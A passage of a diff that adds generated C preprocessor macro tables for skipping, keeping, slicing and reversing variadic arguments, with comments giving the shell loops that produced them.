+#define M_SKIPI_41(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, ...) __VA_ARGS__
+#define M_SKIPI_42(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, ...) __VA_ARGS__
+#define M_SKIPI_43(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, ...) __VA_ARGS__
+#define M_SKIPI_44(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, ...) __VA_ARGS__
+#define M_SKIPI_45(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, ...) __VA_ARGS__
+#define M_SKIPI_46(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, ...) __VA_ARGS__
+#define M_SKIPI_47(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, ...) __VA_ARGS__
+#define M_SKIPI_48(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, ...) __VA_ARGS__
+#define M_SKIPI_49(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, ...) __VA_ARGS__
+#define M_SKIPI_50(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, ...) __VA_ARGS__
+#define M_SKIPI_51(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, ...) __VA_ARGS__
+#define M_SKIPI_52(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, ...) __VA_ARGS__
+
+
+/* Keep the nth first arguments of a VA_ARGS
+   Generated by:
+   for i in $(seq 0 52) ; do printf "#define M_KEEPI_%d(" $i ; for j in $(seq 1 $i) ; do printf "_%d, " $j ; done ; printf "...) " ; for j in $(seq 1 $(($i - 1))) ; do printf "_%d, " $j; done ; if test "$i" -ne 0 ; then printf "_$i" ; fi ; printf "\n" ; done */
+#define M_KEEP_ARGS(n, ...)   M_C(M_KEEPI_, n)(__VA_ARGS__)
+#define M_KEEPI_0(...) 
+#define M_KEEPI_1(_1, ...) _1
+#define M_KEEPI_2(_1, _2, ...) _1, _2
+#define M_KEEPI_3(_1, _2, _3, ...) _1, _2, _3
+#define M_KEEPI_4(_1, _2, _3, _4, ...) _1, _2, _3, _4
+#define M_KEEPI_5(_1, _2, _3, _4, _5, ...) _1, _2, _3, _4, _5
+#define M_KEEPI_6(_1, _2, _3, _4, _5, _6, ...) _1, _2, _3, _4, _5, _6
+#define M_KEEPI_7(_1, _2, _3, _4, _5, _6, _7, ...) _1, _2, _3, _4, _5, _6, _7
+#define M_KEEPI_8(_1, _2, _3, _4, _5, _6, _7, _8, ...) _1, _2, _3, _4, _5, _6, _7, _8
+#define M_KEEPI_9(_1, _2, _3, _4, _5, _6, _7, _8, _9, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9
+#define M_KEEPI_10(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10
+#define M_KEEPI_11(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11
+#define M_KEEPI_12(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12
+#define M_KEEPI_13(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13
+#define M_KEEPI_14(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14
+#define M_KEEPI_15(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15
+#define M_KEEPI_16(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16
+#define M_KEEPI_17(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17
+#define M_KEEPI_18(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18
+#define M_KEEPI_19(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19
+#define M_KEEPI_20(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20
+#define M_KEEPI_21(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21
+#define M_KEEPI_22(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22
+#define M_KEEPI_23(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23
+#define M_KEEPI_24(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24
+#define M_KEEPI_25(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25
+#define M_KEEPI_26(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26
+#define M_KEEPI_27(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27
+#define M_KEEPI_28(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28
+#define M_KEEPI_29(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29
+#define M_KEEPI_30(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30
+#define M_KEEPI_31(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31
+#define M_KEEPI_32(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32
+#define M_KEEPI_33(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33
+#define M_KEEPI_34(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34
+#define M_KEEPI_35(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35
+#define M_KEEPI_36(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36
+#define M_KEEPI_37(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37
+#define M_KEEPI_38(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38
+#define M_KEEPI_39(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39
+#define M_KEEPI_40(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40
+#define M_KEEPI_41(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41
+#define M_KEEPI_42(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42
+#define M_KEEPI_43(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43
+#define M_KEEPI_44(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44
+#define M_KEEPI_45(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45
+#define M_KEEPI_46(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46
+#define M_KEEPI_47(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47
+#define M_KEEPI_48(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48
+#define M_KEEPI_49(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49
+#define M_KEEPI_50(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50
+#define M_KEEPI_51(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51
+#define M_KEEPI_52(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52
+
+
+/* Keep the medium characters of a sequence */
+#define M_MID_ARGS(first, len, ...) M_KEEP_ARGS(len, M_SKIP_ARGS(first, __VA_ARGS__))
+
+
+/* Revert the VA_ARGS given as parameter
+   Example: M_REVERSE(a,b,c) --> c,b,a  */
+/* Generated by:
+   for i in $(seq 1 52) ; do printf "#define M_REVERSE_%d(" $i ; for j in $(seq 1 $i) ; do printf "_%d" $j ; if test $i -ne $j ; then printf "," ; fi ; done; printf ") " ; for j in $(seq $i -1 1) ; do printf "_%d" $j ; if test 1 -ne $j ; then printf "," ; fi ; done ; printf "\n" ; done */
+#define M_REVERSE(...) M_C(M_REVERSE_, M_NARGS(__VA_ARGS__))(__VA_ARGS__)
+#define M_REVERSE_0() ()
+#define M_REVERSE_1(_1) _1
+#define M_REVERSE_2(_1,_2) _2,_1
+#define M_REVERSE_3(_1,_2,_3) _3,_2,_1
+#define M_REVERSE_4(_1,_2,_3,_4) _4,_3,_2,_1
+#define M_REVERSE_5(_1,_2,_3,_4,_5) _5,_4,_3,_2,_1
+#define M_REVERSE_6(_1,_2,_3,_4,_5,_6) _6,_5,_4,_3,_2,_1
+#define M_REVERSE_7(_1,_2,_3,_4,_5,_6,_7) _7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_8(_1,_2,_3,_4,_5,_6,_7,_8) _8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_9(_1,_2,_3,_4,_5,_6,_7,_8,_9) _9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_10(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10) _10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_11(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11) _11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_12(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12) _12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_13(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13) _13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_14(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14) _14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_15(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15) _15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_16(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16) _16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_17(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17) _17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_18(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18) _18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_19(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19) _19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_20(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20) _20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_21(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21) _21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_22(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22) _22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_23(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23) _23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_24(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24) _24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_25(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25) _25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_26(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26) _26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_27(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27) _27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_28(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28) _28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_29(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29) _29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_30(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30) _30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
